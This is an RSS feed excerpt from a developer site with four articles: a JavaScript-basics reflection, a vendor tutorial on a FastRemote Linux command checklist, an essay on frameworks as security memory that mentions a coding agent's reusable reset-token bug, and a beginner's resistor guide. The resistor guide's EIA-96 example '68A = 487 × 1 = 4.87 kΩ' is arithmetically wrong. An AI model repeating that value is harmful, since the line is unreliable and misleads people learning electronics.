&lt;p&gt;Just the confidence of knowing what you’re standing on.&lt;/p&gt;
&lt;p&gt;So far I’ve revisited:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;variables and data types&lt;/li&gt;
&lt;li&gt;operators and conditionals&lt;/li&gt;
&lt;li&gt;functions and scope&lt;/li&gt;
&lt;li&gt;arrays and loops&lt;/li&gt;
&lt;li&gt;&lt;code&gt;map&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, &lt;code&gt;find&lt;/code&gt;, &lt;code&gt;some&lt;/code&gt;, &lt;code&gt;every&lt;/code&gt; and &lt;code&gt;reduce&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;objects&lt;/li&gt;
&lt;li&gt;destructuring&lt;/li&gt;
&lt;li&gt;spread and rest&lt;/li&gt;
&lt;li&gt;callbacks&lt;/li&gt;
&lt;li&gt;error handling&lt;/li&gt;
&lt;li&gt;Promises&lt;/li&gt;
&lt;li&gt;&lt;code&gt;async/await&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;HTTP and &lt;code&gt;fetch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;modules&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And I actually feel better for slowing down.&lt;/p&gt;
&lt;p&gt;Next for me is TypeScript.&lt;/p&gt;
&lt;p&gt;But this time, I’m moving forward with a much clearer understanding of the JavaScript underneath it.&lt;/p&gt;
&lt;p&gt;Sometimes going back isn’t really going backwards.&lt;/p&gt;
&lt;p&gt;Sometimes it’s just the fastest way to stop building on shaky ground.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28039/the-joy-of-learning-the-basics-again</guid>
<pubDate>Tue, 22 Sep 2026 01:31:57 +0000</pubDate>
</item>
<item>
<title>Build a small reusable Linux checklist in FastRemote</title>
<link>https://coderlegion.com/27820/build-a-small-reusable-linux-checklist-in-fastremote</link>
<description>&lt;blockquote&gt;&lt;p&gt;Disclosure: This tutorial is provided by the FastRemote product team and introduces our product. It was generated by an AI agent at our request, using documentation for released 1.1.5 functionality. Examples are for authorized test environments. FastRemote is a commercial SSH/SFTP desktop app for Windows, macOS, and Linux. Its 15-day trial must be started explicitly and does not require a payment method.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A command library is most useful when it contains commands you understand. Start with four checks you repeat, rather than importing a large collection and hoping every command suits your server.&lt;/p&gt;
&lt;p&gt;This exercise uses a Linux test host. The commands inspect state and do not need elevated privileges.&lt;/p&gt;
&lt;h3 id=&quot;choose-four-tasks&quot;&gt;Choose four tasks&lt;/h3&gt;
&lt;p&gt;Create a group in FastRemote's command library for basic Linux checks and add separate entries:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Entry name &lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Current user &lt;/td&gt;&lt;td&gt;whoami&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Hostname &lt;/td&gt;&lt;td&gt;hostname&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Working directory &lt;/td&gt;&lt;td&gt;pwd&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Filesystem space &lt;/td&gt;&lt;td&gt;df -h&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Use the task as the entry name. Add a short note describing what the output means. Do not store passwords or API keys in command text or notes.&lt;/p&gt;
&lt;h3 id=&quot;test-each-command-yourself&quot;&gt;Test each command yourself&lt;/h3&gt;
&lt;p&gt;Connect to your test server. Check the selected SSH target and run each command once in the terminal.&lt;/p&gt;
&lt;p&gt;This establishes both what the command does and whether it is suitable for that operating system. A Linux command should not be assumed to behave the same way in Windows PowerShell.&lt;/p&gt;
&lt;p&gt;If you manage several systems, use separate groups and clear names.&lt;/p&gt;
&lt;h3 id=&quot;paste-before-executing&quot;&gt;Paste before executing&lt;/h3&gt;
&lt;p&gt;When taking a command from FastRemote's command library, beginners should start with the paste-only action. Read the text and check the target, then press Enter.&lt;/p&gt;
&lt;p&gt;This is particularly helpful once commands contain variables, paths with spaces, or multiple lines. A saved command is still code that will run with your remote account's permissions.&lt;/p&gt;
&lt;p&gt;The direct execution action can save an interaction once you are comfortable with an entry and its context.&lt;/p&gt;
&lt;h3 id=&quot;connect-output-to-a-decision&quot;&gt;Connect output to a decision&lt;/h3&gt;
&lt;p&gt;A disk-space check should tell you which filesystem deserves investigation. It should not automatically trigger a deletion command.&lt;/p&gt;
&lt;p&gt;An unexpected username should send you back to the connection settings rather than immediately to a privilege-escalation command.&lt;/p&gt;
&lt;h3 id=&quot;keep-the-library-maintainable&quot;&gt;Keep the library maintainable&lt;/h3&gt;
&lt;p&gt;For each later addition, record its purpose, supported system, and whether it changes data. Review exported command files for sensitive values before sharing them.&lt;/p&gt;
&lt;p&gt;You are finished when you can retrieve a familiar check without hunting through browser tabs, understand its output, and run it on the intended machine. FastRemote supplies the organization and reuse; your notes preserve the reasoning behind each entry.&lt;/p&gt;
&lt;p&gt;Product information and downloads: &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.ynpe.com/en&quot;&gt;FastRemote website&lt;/a&gt;.&lt;/p&gt;
</description>
<category>Tutorials</category>
<guid isPermaLink="true">https://coderlegion.com/27820/build-a-small-reusable-linux-checklist-in-fastremote</guid>
<pubDate>Sun, 20 Sep 2026 10:17:22 +0000</pubDate>
</item>
<item>
<title>Frameworks Are Institutional Memory</title>
<link>https://coderlegion.com/27544/frameworks-are-institutional-memory</link>
<description>&lt;p&gt;&lt;em&gt;I stored passwords in plaintext on a floppy disk in the 1980s. Recently, a coding agent made a version of the same mistake.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;When I was running bulletin board systems in the 1980s, password management could be remarkably straightforward.&lt;/p&gt;
&lt;p&gt;A user created an account. They chose a password. The BBS needed to determine whether the password they entered later was the same one they had chosen.&lt;/p&gt;
&lt;p&gt;So you stored it.&lt;/p&gt;
&lt;p&gt;In plaintext.&lt;/p&gt;
&lt;p&gt;On a floppy disk.&lt;/p&gt;
&lt;p&gt;Hard drives were expensive and hardly universal in the hobbyist computing world I inhabited, so there was nothing strange about application data living on floppies. The important thing was that the software could retrieve the password and compare it against whatever the user typed the next time they called in.&lt;/p&gt;
&lt;p&gt;Something like this was perfectly understandable:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;KEN|swordfish
SARAH|password123
MIKE|enterprise
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There was, of course, a slight problem.&lt;/p&gt;
&lt;p&gt;The person running the BBS could read everybody's passwords.&lt;/p&gt;
&lt;p&gt;So people started solving that. Maybe the password should not be stored exactly as the user entered it. A substitution cipher or some other homegrown transformation could at least stop someone from casually opening the user file and reading every credential.&lt;/p&gt;
&lt;p&gt;Problem solved.&lt;/p&gt;
&lt;p&gt;Well. One problem solved.&lt;/p&gt;
&lt;p&gt;The transformation might be reversible. Two users choosing the same password produced the same stored value. A compromised file exposed everyone at once. Users reused those passwords elsewhere. Password recovery introduced an entirely separate collection of problems.&lt;/p&gt;
&lt;p&gt;Each solution exposed another question.&lt;/p&gt;
&lt;p&gt;Over the following decades, &quot;store a password&quot; accumulated an extraordinary amount of engineering knowledge.&lt;/p&gt;
&lt;p&gt;Today, saying an application needs authentication describes far more than comparing one string against another. It means hashing, salts, password reset, expiring tokens, single-use tokens, session invalidation, account enumeration, brute-force protection, cookie attributes, CSRF, rate limiting, and a long list of other concerns depending on the threat model.&lt;/p&gt;
&lt;p&gt;A developer can still build all of that from scratch.&lt;/p&gt;
&lt;p&gt;The more interesting question is whether they should.&lt;/p&gt;
&lt;h3 id=&quot;the-code-you-don-t-know-you-need&quot;&gt;The Code You Don't Know You Need&lt;/h3&gt;
&lt;p&gt;The first thing developers learn about frameworks is that they save us from writing code.&lt;/p&gt;
&lt;p&gt;That is true, and it undersells them badly.&lt;/p&gt;
&lt;p&gt;A mature framework does not merely contain code somebody else wrote. It contains decisions somebody else already had to make, edge cases somebody else already hit, vulnerabilities somebody else already discovered, and fixes somebody else already learned were necessary.&lt;/p&gt;
&lt;p&gt;A mature framework is partly &lt;strong&gt;institutional memory encoded as software&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Take authentication. The happy path is not conceptually difficult:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;User submits credentials
        ↓
Find account
        ↓
Check password
        ↓
Create session
        ↓
Return success
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A relatively inexperienced developer can understand that flow and implement a version of it.&lt;/p&gt;
&lt;p&gt;Production authentication is not hard because the happy path is hard. It is hard because of everything surrounding the happy path.&lt;/p&gt;
&lt;p&gt;How should the password be stored? What happens after repeated failed attempts? Can an attacker determine whether a username exists by comparing error messages? What happens to existing sessions after a password change? How long should a reset token remain valid? What happens after it is used? Can it be replayed? What attributes belong on the session cookie?&lt;/p&gt;
&lt;p&gt;The developer writing authentication for the first time does not necessarily know to ask any of that.&lt;/p&gt;
&lt;p&gt;A mature framework often does.&lt;/p&gt;
&lt;p&gt;That is a very different kind of value from saving keystrokes.&lt;/p&gt;
&lt;h3 id=&quot;abstractions-change-who-has-to-think&quot;&gt;Abstractions Change Who Has to Think&lt;/h3&gt;
&lt;p&gt;Software has always progressed partly by taking things that required specialized knowledge and putting them behind abstractions.&lt;/p&gt;
&lt;p&gt;Assembly gave me extraordinary control over what the processor did. It was also a tremendous pain. Higher-level languages let us express more sophisticated ideas without manually considering every instruction. C retained substantial control over memory and execution while being far more productive. Later languages and runtimes provided increasingly sophisticated abstractions for memory management, type safety, concurrency primitives, and networking. Libraries and frameworks moved the boundary again. Managed platforms moved it again.&lt;/p&gt;
&lt;p&gt;None of those layers made the layer underneath disappear.&lt;/p&gt;
&lt;p&gt;Your Python application still causes a processor to execute machine instructions. Your Django application still communicates over networks. Your application on a managed platform still runs on computers somewhere.&lt;/p&gt;
&lt;p&gt;What the abstraction changes is &lt;strong&gt;who has to think about those things routinely&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;control-and-responsibility-arrive-together&quot;&gt;Control and Responsibility Arrive Together&lt;/h3&gt;
&lt;p&gt;Developers sometimes discuss control as though it were an unqualified good.&lt;/p&gt;
&lt;p&gt;C gives me more control over memory. Running directly on infrastructure gives me more control than a managed platform. Writing SQL gives me more control than an ORM. Building against browser automation primitives gives me more control than a higher-level testing abstraction.&lt;/p&gt;
&lt;p&gt;All of those statements can be true.&lt;/p&gt;
&lt;p&gt;But control has a twin that gets mentioned far less often: &lt;strong&gt;responsibility&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If you control memory allocation, you are responsible for memory allocation. If you control your infrastructure, you are responsible for configuring, securing, observing, updating, and troubleshooting it. If you control every selector in an end-to-end test suite, you own every selector when the application changes.&lt;/p&gt;
&lt;p&gt;You could write your inventory API in C. Manage the networking, parse HTTP, handle allocation, implement routing, serialization, authentication, database connectivity, concurrency, and error handling yourself. You would have an enormous amount of control, and you would have volunteered for an enormous number of problems that Flask, FastAPI, Django, Rails, Spring, and others have spent years making uninteresting.&lt;/p&gt;
&lt;p&gt;The trade is not:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;abstraction versus control&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It is closer to:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;less control and less responsibility versus more control and more responsibility&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Sometimes the additional control is worth the additional responsibility. Sometimes it is not.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.kenwalger.com/blog/wp-content/uploads/2026/09/mermaid-diagram-2026-09-17-091248.png&quot; alt=&quot;Flowchart showing the choice between owning complexity for greater control and engineering responsibility, or using an abstraction while accepting its opinions and constraints. Both paths lead toward building the work that differentiates the product.&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using the abstraction does not make you less of an engineer. Building the lower layer yourself does not automatically make you a better one. The skill is recognizing which problems deserve your attention, while understanding what you surrendered to have the others solved for you.&lt;/p&gt;
&lt;h3 id=&quot;opinions-are-part-of-the-product&quot;&gt;Opinions Are Part of the Product&lt;/h3&gt;
&lt;p&gt;&quot;Opinionated&quot; sometimes gets used as a criticism.&lt;/p&gt;
&lt;p&gt;It certainly can be one. If a framework's opinions conflict with your application's fundamental requirements, you will spend more time fighting it than benefiting from it.&lt;/p&gt;
&lt;p&gt;But an opinion is also a decision you do not have to make. A framework with an established approach to authentication, migrations, forms, routing, validation, sessions, and project structure has removed that many questions from your team's agenda, and mature defaults usually carry years of accumulated experience with them.&lt;/p&gt;
&lt;p&gt;The other side of the bargain is that somebody else has partially decided what your options look like.&lt;/p&gt;
&lt;p&gt;Using MongoDB with Django was a long-running example. Django's data layer was built around assumptions that fit relational databases particularly well, and getting MongoDB underneath it was possible through various third-party approaches, though &quot;interesting&quot; would be a charitable description of that experience. You were making one architectural choice while using a framework whose opinions had been designed around another.&lt;/p&gt;
&lt;p&gt;What happened next supports the argument better than the complaint did. &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/mongodb/django-mongodb-backend&quot;&gt;MongoDB shipped an official Django backend&lt;/a&gt; in public preview in early 2025, and it now handles embedded models, queryable encryption, geospatial lookups, and most of what the third-party packages struggled with. The framework's opinions were not overturned. They were extended, by people willing to do the work of reconciling the document model with Django's assumptions.&lt;/p&gt;
&lt;p&gt;That took years, and it is exactly the process this whole post is about. The accumulated knowledge is the product. It just accumulates slowly.&lt;/p&gt;
&lt;p&gt;So before adopting any framework, do not look only at the complexity it removes. Ask what decisions it makes on your behalf, what assumptions are embedded in those decisions, and how painful things become when your application needs something outside them.&lt;/p&gt;
&lt;p&gt;You can dislike the choices. You can replace some of them. You can decide the framework is wrong for you. What matters is understanding the bargain.&lt;/p&gt;
&lt;h3 id=&quot;every-platform-sells-you-both&quot;&gt;Every Platform Sells You Both&lt;/h3&gt;
&lt;p&gt;Managed platforms made this visible in a way frameworks alone did not.&lt;/p&gt;
&lt;p&gt;Before them, deploying an application meant owning a considerable amount of infrastructure knowledge: somewhere to run it, a way to deploy it, process management, configuration, networking, logging, databases, scaling, and monitoring. Managed platforms did not make any of that cease to exist. They changed who had to own it.&lt;/p&gt;
&lt;p&gt;What is easy to miss is that this was never a choice between vendors. It is a choice available inside every vendor. AWS will happily sell you App Runner, Elastic Beanstalk, Lambda, or Amplify, and it will just as happily sell you EC2 instances, a VPC, load balancers, autoscaling groups, and a pile of IAM policies to assemble yourself. Google Cloud offers Cloud Run and App Engine alongside Compute Engine and GKE. Azure has App Service and Container Apps on one side, virtual machines and AKS on the other.&lt;/p&gt;
&lt;p&gt;Same provider. Same workload. Radically different amounts of responsibility.&lt;/p&gt;
&lt;p&gt;The opinionated paths get you running quickly and constrain what you can do. The assembled paths let you build nearly anything and hand you an operational surface that keeps expanding for as long as the system exists. Most real architectures contain both, which is usually the right answer.&lt;/p&gt;
&lt;p&gt;The constraint is real in either direction. If you need behavior outside the managed model, the abstraction becomes limiting, and there are plenty of workloads where owning the pieces makes more sense. That is not a failure of the abstraction. It is the trade the abstraction offered.&lt;/p&gt;
&lt;p&gt;One asymmetry is worth pricing in advance: the managed path is cheap to enter and expensive to leave. Moving off it means rebuilding the machinery the platform was quietly providing, usually under time pressure, usually at the exact moment the constraint became intolerable. That is not an argument against starting there. It is an argument for knowing which constraint would force the move before you have to make it.&lt;/p&gt;
&lt;p&gt;For most teams the question was never whether their engineers could build and operate infrastructure. It was whether infrastructure was what their customers were paying them to be good at.&lt;/p&gt;
&lt;h3 id=&quot;spend-your-complexity-budget-wisely&quot;&gt;Spend Your Complexity Budget Wisely&lt;/h3&gt;
&lt;p&gt;I think of this as a &lt;strong&gt;complexity budget&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Every team has finite attention. There are only so many engineers, so many hours, and so many systems a group can deeply understand and maintain. Complexity spends that budget.&lt;/p&gt;
&lt;p&gt;Build your own authentication and you have spent some of it on authentication. Operate your own infrastructure and you have spent some of it on infrastructure. Build a custom persistence layer and you have spent some of it on persistence.&lt;/p&gt;
&lt;p&gt;Any of those can be excellent investments when the capability differentiates your product or your requirements genuinely demand the control. Dan McKinley's &quot;&lt;a rel=&quot;nofollow&quot; href=&quot;https://boringtechnology.club/&quot;&gt;Choose Boring Technology&lt;/a&gt;&quot; makes a neighboring argument with innovation tokens: you get about three, so spend them where they matter. The complexity budget is the same instinct pointed at what you build rather than what you adopt.&lt;/p&gt;
&lt;p&gt;&quot;We could build it ourselves&quot; does not establish anything. Engineers can build lots of things.&lt;/p&gt;
&lt;p&gt;The better question is:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Is this where we want to spend our complexity budget?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;learn-what-s-underneath-anyway&quot;&gt;Learn What's Underneath Anyway&lt;/h3&gt;
&lt;p&gt;None of this argues against learning fundamentals. Quite the opposite.&lt;/p&gt;
&lt;p&gt;Understanding HTTP makes you better at using a web framework. Understanding SQL makes you better at using an ORM. Understanding memory makes you better at diagnosing what a runtime is doing.&lt;/p&gt;
&lt;p&gt;Every abstraction eventually leaks. When it does, knowing what is underneath tells you whether you are looking at a bug, a limitation, a bad assumption, or the consequence of a trade you made a year ago.&lt;/p&gt;
&lt;p&gt;But there is a difference between &lt;strong&gt;understanding a layer&lt;/strong&gt; and &lt;strong&gt;taking responsibility for operating it&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I do not need to fabricate a processor to understand how one works. I do not need to write an HTTP server in C to understand HTTP. I do not need to implement my own password hashing to understand why plaintext was a bad idea.&lt;/p&gt;
&lt;p&gt;Sometimes understanding a problem thoroughly is precisely why you decide not to implement it yourself.&lt;/p&gt;
&lt;h3 id=&quot;the-password-problem-never-really-went-away&quot;&gt;The Password Problem Never Really Went Away&lt;/h3&gt;
&lt;p&gt;Recently I had a coding agent implement password reset for a small application.&lt;/p&gt;
&lt;p&gt;It built the feature in about five minutes. The email arrived. The link opened. The password changed. The user logged in with the new one.&lt;/p&gt;
&lt;p&gt;Everything worked.&lt;/p&gt;
&lt;p&gt;Except the reset link worked a second time.&lt;/p&gt;
&lt;p&gt;The implementation satisfied the obvious behavior while missing the invariant underneath it: once the reset succeeds, the token has to become useless.&lt;/p&gt;
&lt;p&gt;That felt familiar.&lt;/p&gt;
&lt;p&gt;Forty years ago the question was:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Does the password let the right person log into the BBS?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Yes.&lt;/p&gt;
&lt;p&gt;Then somebody asked:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Can the sysop read everyone's password?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Oh.&lt;/p&gt;
&lt;p&gt;Years later:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Is the stored password protected?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Yes.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Can the stored representation be reversed or cheaply cracked?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Oh.&lt;/p&gt;
&lt;p&gt;And now:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Does the password reset feature work?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Yes.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Can I reuse the token?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Oh.&lt;/p&gt;
&lt;p&gt;The technologies change. The pattern does not. We implement the requirements we know about, and experience introduces us to the ones we did not.&lt;/p&gt;
&lt;p&gt;That is why mature abstractions matter. They carry some of that experience forward so the next developer inherits the lesson without personally reliving it. Somebody already hit the edge case. Somebody already found the vulnerability. Somebody already spent three days on the concurrency bug that only appears on Tuesdays.&lt;/p&gt;
&lt;p&gt;Which leaves an open question I do not think we have answered yet.&lt;/p&gt;
&lt;p&gt;A mature framework carries its institutional memory in its decisions. Sometimes the reasons stay attached through issues, commits, documentation, and design discussions. Often they do not, and only the resulting constraint survives. Either way, somebody encountered the problem and changed the system because of it.&lt;/p&gt;
&lt;p&gt;That is the part worth noticing. The single-use token check runs whether or not anyone remembers why it was added. The lesson is enforced rather than remembered.&lt;/p&gt;
&lt;p&gt;A model trained on a very large corpus of code has absorbed something that resembles institutional memory. But it learned from artifacts produced after those decisions were made, rather than from the decisions themselves. It can reproduce what surviving code looks like without inheriting anything that enforces why one implementation survived and another did not.&lt;/p&gt;
&lt;p&gt;Which might explain why my agent wrote a flawless happy path and dropped the invariant.&lt;/p&gt;
&lt;p&gt;Happy paths are abundant. Invariants live in the decisions.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27544/frameworks-are-institutional-memory</guid>
<pubDate>Thu, 17 Sep 2026 18:34:00 +0000</pubDate>
</item>
<item>
<title>Resistors: How to read the stripes, do the math, and avoid the magic smoke</title>
<link>https://coderlegion.com/27496/resistors-how-to-read-the-stripes-do-the-math-and-avoid-the-magic-smoke</link>
<description>&lt;p&gt;If you have ever popped the back off anything with a circuit board inside, you have seen resistors. They are the little striped cylinders, the tiny black rectangles, the ceramic blocks bolted to a heatsink. They are everywhere, and most of them look like they should be interchangeable — yet a 220 Ω part and a 10 kΩ part are about as similar as a paperclip and a coat hanger.&lt;/p&gt;
&lt;p&gt;This guide is the page I wish every beginner landed on first. By the end you will be able to read any resistor by eye, know why a 47 Ω value exists instead of a sensible 50 Ω, pick a part that will not catch fire, and work through the three bits of math that cover maybe 90% of real-world resistor use.&lt;/p&gt;
&lt;h3 id=&quot;what-a-resistor-actually-is-and-why-your-circuit-cannot-live-without-one-&quot;&gt;What a resistor actually is (and why your circuit cannot live without one)&lt;/h3&gt;
&lt;p&gt;A resistor is a two-legged component whose only job is to get in the way. It opposes the flow of electric current, and it does so by turning some of that electrical energy into heat. That is the whole trick. No moving parts, no magic, just a controlled amount of &quot;don't.&quot;&lt;/p&gt;
&lt;p&gt;The amount of opposition is called resistance, measured in ohms (symbol: Ω, the Greek capital omega). One ohm is the resistance you get when one volt of pressure pushes one amp of current through. That definition is worth holding onto, because it tells you exactly what a resistor is doing in plain terms: it sets the relationship between voltage (pressure) and current (flow).&lt;/p&gt;
&lt;p&gt;The rule that ties those three together is Ohm's law:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;V = I × R&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Voltage equals current times resistance. Rearrange it however you like — I = V / R or R = V / I — and you have the single equation that explains every resistor in every circuit.&lt;/p&gt;
&lt;p&gt;Here is the mental model that actually sticks. Think of current as water flowing through a hose. Voltage is the water pressure from the tap. A resistor is a constriction in the hose — a kink, a narrow section, a thumb pressed over the end. The tighter the constriction, the less water gets through for a given pressure. A 10 kΩ resistor is a tight kink; a 10 Ω resistor is barely there.&lt;/p&gt;
&lt;p&gt;Two things follow from this, and they explain most resistor behavior:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;A resistor cannot create energy, only waste it. Engineers call it a &lt;em&gt;passive&lt;/em&gt; component. It does not amplify, it does not oscillate, it just sits there converting current into a little warmth. (That &quot;little warmth&quot; is exactly why a too-small resistor smells bad and lets out smoke — more on that later.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The resistance comes from the material, not the label. At the microscopic level, a resistor is made from a conductor that is deliberately not a great conductor — carbon, a metal-oxide film, a coiled wire. Electrons trying to cross it keep bumping into atoms, and each bump is a tiny conversion of motion into heat. Change the material, its length, its thickness, or its temperature, and you change the resistance.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That is the whole conceptual foundation. Everything below is just applying it.&lt;/p&gt;
&lt;h3 id=&quot;reading-resistor-values-color-codes-demystified&quot;&gt;Reading resistor values: color codes, demystified&lt;/h3&gt;
&lt;p&gt;Through-hole resistors (the striped cylinders) almost never have numbers printed on them — there is no room, and the paint would wear off. Instead they carry their value as colored bands. Once you learn the code, you can read a resistor across a room.&lt;/p&gt;
&lt;p&gt;Most resistors you meet are 4-band, 5-band, or 6-band:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4-band (the common hobbyist part): two digits — a multiplier — a tolerance band.&lt;/li&gt;
&lt;li&gt;5-band (precision parts): three digits — a multiplier — a tolerance band.&lt;/li&gt;
&lt;li&gt;6-band: same as 5-band, plus a final band for temperature coefficient.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The first one to three bands are the &lt;em&gt;significant digits&lt;/em&gt;. The next band is the &lt;em&gt;multiplier&lt;/em&gt; — it tells you how many zeros to tack on (or, for gold and silver, a fraction). The band after that is &lt;em&gt;tolerance&lt;/em&gt; — how far off the real value is allowed to be.&lt;/p&gt;
&lt;p&gt;Here is the full table:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/0xjlsn35skuksawika1d.jpg&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;three-worked-examples-you-will-see-constantly&quot;&gt;Three worked examples you will see constantly&lt;/h4&gt;
&lt;p&gt;A 220 Ω resistor (the classic LED current-limiter): Red — Red — Brown — Gold → 2, 2, ×10, ±5% = 22 × 10 = 220 Ω ±5%. This is the part we reach for on a 5 V logic rail or a bright LED.&lt;/p&gt;
&lt;p&gt;A 1 kΩ resistor (the default pull-up / current-limiter): Brown — Black — Red — Gold → 1, 0, ×100, ±5% = 10 × 100 = 1,000 Ω = 1 kΩ ±5%. If a tutorial says &quot;just use 1k,&quot; this is the stripe pattern.&lt;/p&gt;
&lt;p&gt;A 10 kΩ resistor (the standard microcontroller pull-up): Brown — Black — Orange — Gold → 1, 0, ×1,000, ±5% = 10 × 1,000 = 10,000 Ω = 10 kΩ ±5%. Almost every Arduino &quot;connect a button&quot; sketch assumes a 10 kΩ pull-up.&lt;/p&gt;
&lt;h4 id=&quot;a-mnemonic-that-actually-works&quot;&gt;A mnemonic that actually works&lt;/h4&gt;
&lt;p&gt;The digits map to a sentence everyone learns: &quot;Bad Beer Rots Our Young Guts But Vodka Goes Well — Get Some Now.&quot; Black, Brown, Red, Orange, Yellow, Green, Blue, Violet, Grey, White, (Gold, Silver, None). Silly, but you will never forget the order.&lt;/p&gt;
&lt;h3 id=&quot;surface-mount-resistors-and-their-secret-codes&quot;&gt;Surface-mount resistors and their secret codes&lt;/h3&gt;
&lt;p&gt;Once you leave the breadboard and move to a manufactured board, resistors shrink into tiny black rectangles with no room for stripes. They carry numbers instead, and the system is simpler than it looks.&lt;/p&gt;
&lt;p&gt;3-digit code (5% and 10% parts): the first two digits are significant, the third is the number of zeros.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;471&lt;/code&gt; = 47 followed by one zero = 470 Ω&lt;/li&gt;
&lt;li&gt;&lt;code&gt;103&lt;/code&gt; = 10 followed by three zeros = 10 kΩ&lt;/li&gt;
&lt;li&gt;&lt;code&gt;100&lt;/code&gt; = 10 followed by zero zeros = 10 Ω&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;4-digit code (1% parts): three significant digits, then the number of zeros.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;4700&lt;/code&gt; = 470 followed by no zeros = 470 Ω&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1002&lt;/code&gt; = 100 followed by two zeros = 10 kΩ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;EIA-96 code (1% precision on tiny packages): two digits plus a letter. The digits are an index into the E96 value table (01 = 100, 02 = 102 ... 96 = 976), and the letter is the multiplier: A = ×1, B = ×10, C = ×100, D = ×1 k, E = ×10 k, F = ×100 k. So &lt;code&gt;01A&lt;/code&gt; = 100 × 1 = 100 Ω, and &lt;code&gt;68A&lt;/code&gt; = 487 × 1 = 4.87 kΩ.&lt;/p&gt;
&lt;p&gt;You will also see a package size like 0402, 0603, 0805, or 1206. Those four digits are the size in hundredths of an inch: 0402 is 0.04 × 0.02 inches. Smaller is cheaper and lighter but harder to solder by hand and carries less power. A 1206 can usually take about 0.25 W; a 0402 is often rated at just 1/16 W (0.0625 W), which is why power math matters so much on tiny boards.&lt;/p&gt;
&lt;p&gt;Rule of thumb: build on a breadboard or by hand, use through-hole; design a PCB you will manufacture, use SMD — and size the package to the wattage, not just the value.&lt;/p&gt;
&lt;h3 id=&quot;why-resistors-come-in-weird-values-the-e12-and-e24-series&quot;&gt;Why resistors come in weird values: the E12 and E24 series&lt;/h3&gt;
&lt;p&gt;Here is a question that trips everyone up. Why is there a 47 Ω resistor and a 4.7 kΩ resistor, but no 50 Ω or 5 kΩ in the common bins? Why 33 Ω and 330 Ω instead of a round 30?&lt;/p&gt;
&lt;p&gt;The answer is that resistor values are spaced geometrically, not arithmetically. Manufacturers do not pick random numbers; they use the E-series. An E12 resistor (±10% tolerance) has 12 values per decade, and each one is about 21% larger than the last — because a part can drift by up to 10% either way, the next value needs to start roughly where the previous one could have ended. The E12 values are:&lt;/p&gt;
&lt;p&gt;10, 12, 15, 18, 22, 27, 33, 39, 47, 56, 68, 82 — then ×10 for the next decade (100, 120, 150 ...).&lt;/p&gt;
